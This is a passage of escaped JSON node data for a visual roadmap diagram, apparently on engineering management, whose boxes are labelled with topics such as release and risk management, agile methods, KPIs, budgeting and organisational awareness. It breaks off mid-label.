\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1386.1483422046601\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-Qc6E3gkUUonfzifYqeJJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1439.1483422046604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Release Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1439.1483422046604\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mgw6M8I9qy1EoJpJV-gy1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1492.1483422046604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1492.1483422046604\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hH-UDVFlgKoMJcI1ssDFv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1545.1483422046604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dependency management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 846.9653895358222,\n        \"y\": 1545.1483422046604\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hL_GY3lMFe3R56DIuEhD1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 915.4653895358222,\n        \"y\": 1287.0112914854337\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Planning\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 915.4653895358222,\n        \"y\": 1287.0112914854337\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"n9gvPHn4c1U-l6v-W9v6r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1326.8673500113996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Agile methodologies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1326.8673500113996\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SuT6q5lMMSyVkadlQp7iU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1379.8673500113996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Tracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 50,\n      \"style\": {\n        \"height\": 50,\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1379.8673500113996\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"PXobPGPgCX3_55w4UtxT9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.4951891168022,\n        \"y\": 1432.8673500113996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Milestone Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 50,\n      \"style\": {\n        \"height\": 50,\n        \"width\": 265\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.4951891168022,\n        \"y\": 1432.8673500113996\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"C-lJJSjT8Cxw_UT3ocFsO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1485.8673500113996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scope Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1485.8673500113996\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QWO5QFS7kXwfu3aa8IiRt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1538.8673500113996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Timeline Estimation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.9951891168022,\n        \"y\": 1538.8673500113996\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iYGRSUanuDxhc3A7jlRjr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 568.4951891168022,\n        \"y\": 1284.6574437574297\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Execution\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 568.4951891168022,\n        \"y\": 1284.6574437574297\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Wd8FCEaGZBTvsD-k4t0r4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1735.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"KPI Definition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1735.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"idd92ZTBVUzptBl5jRdc3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1788.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Velocity Tracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1788.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZWWsuFm_G4kvvl_cv8l_t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1841.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quality Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1841.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KPDHk7tl_BnIj_obnq3Kl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1894.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Health Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1894.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g9WWa50V8ZbhIJgBRx0Nd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1947.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Postmortems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 483.9951891168022,\n        \"y\": 1947.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OJjTtLGSG7EkkJ5go1dX3\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 553.9951891168022,\n        \"y\": 1689.4190934658873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Measurement\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 553.9951891168022,\n        \"y\": 1689.4190934658873\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vpfqQSOhBDHvhTGmDjYyi\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1211.9706745080407,\n        \"y\": 1520.007355391834\n      },\n      \"width\": 299,\n      \"height\": 389,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 389\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"X8b4Mang8X69ZL54MUp_Y\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 1211.9706745080407,\n        \"y\": 1520.007355391834\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 389\n      }\n    },\n    {\n      \"id\": \"8_68edYBsrJBC1RdUVsnu\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1284.4706745080407,\n        \"y\": 1530.4245514759696\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strategic Thinking\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1284.4706745080407,\n        \"y\": 1530.4245514759696\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"nC5dfGlxbLoXUAp2u-6Gl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1576.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product strategy alignment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Imgt669vbUT_Iec2o4Gvt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1576.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vhOHvfF_lfQrrOK6sGLTY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1629.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business Case Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76GjwwEYaEX_kh02OSpdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1629.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XinUWPahOdufmLYcEwMj_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1682.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ROI analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76GjwwEYaEX_kh02OSpdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1682.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P2gIOt-i0sQEOMBo-XjZO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1735.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Market awareness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76GjwwEYaEX_kh02OSpdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1735.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"76GjwwEYaEX_kh02OSpdr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1788.978694024707\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Competitive Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"b3qoH_LuW-Gz4N8WdGnZs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1222.4706745080407,\n        \"y\": 1788.978694024707\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AcOZyUJpDpHatDUCGhIrS\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 886.7539355776339,\n        \"y\": 2102.1519386217687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Financial Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"8_68edYBsrJBC1RdUVsnu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 886.7539355776339,\n        \"y\": 2102.1519386217687\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"oqjr26B27SHSYVQ4IFnA1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 868.2539355776339,\n        \"y\": 1882.1519386217685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Budget Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Imgt669vbUT_Iec2o4Gvt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 868.2539355776339,\n        \"y\": 1882.1519386217685\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iwwxnSVvCmZ57stXwzk8G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 867.7539355776339,\n        \"y\": 1936.1519386217685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Resource forecasting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Imgt669vbUT_Iec2o4Gvt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 867.7539355776339,\n        \"y\": 1936.1519386217685\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rbhZJZtRV1ZZ5QaYW77ry\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 868.2539355776339,\n        \"y\": 1989.0649461621497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cost Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Imgt669vbUT_Iec2o4Gvt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 868.2539355776339,\n        \"y\": 1989.0649461621497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Imgt669vbUT_Iec2o4Gvt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 867.7539355776339,\n        \"y\": 2043.0649461621497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vendor Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"76GjwwEYaEX_kh02OSpdr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 867.7539355776339,\n        \"y\": 2043.0649461621497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3GHnbaEa6iE9ixxAYyUa0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1199.4706745080407,\n        \"y\": 1974.3953358684203\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"s5b9niOUvZbZq5KOMeN-e\"\n      },\n      \"zIndex\": -999,\n      \"width\": 324,\n      \"height\": 325,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 325\n      },\n      \"positionAbsolute\": {\n        \"x\": 1199.4706745080407,\n        \"y\": 1974.3953358684203\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 325\n      }\n    },\n    {\n      \"id\": \"8ogm2cmCLgzbyJxrVfUDC\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1253.4706745080407,\n        \"y\": 2253.482328328039\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Organizational Awareness\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"AcOZyUJpDpHatDUCGhIrS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1253.4706745080407,\n        \"y\": 2253.482328328039\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KA0y6KdVTjJFeX3frHUNo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 1984.4823283280389\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Company Culture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqjr26B27SHSYVQ4IFnA1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 1984.4823283280389\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tt02qGHSn4fPbpboZ1Ni_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2037.4823283280389\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Change management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iwwxnSVvCmZ57stXwzk8G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2037.4823283280389\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mjMRNhPkeb4lEZXBb8Iot\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2090.482328328039\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Organization structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rbhZJZtRV1ZZ5QaYW77ry\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2090.482328328039\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Zoz01JcNU69gr95IcWhYM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2143.482328328039\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Politics navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Hb_rZe4k37Rr0enSh7woV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2143.482328328039\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hb_rZe4k37Rr0enSh7woV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2196.482328328039\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cross-department collaboration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Imgt669vbUT_Iec2o4Gvt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 306,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1208.4706745080407,\n        \"y\": 2196.482328328039\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h7gEQNbGiabDA1q1Bk_IB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1147.6284778153165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Emotional 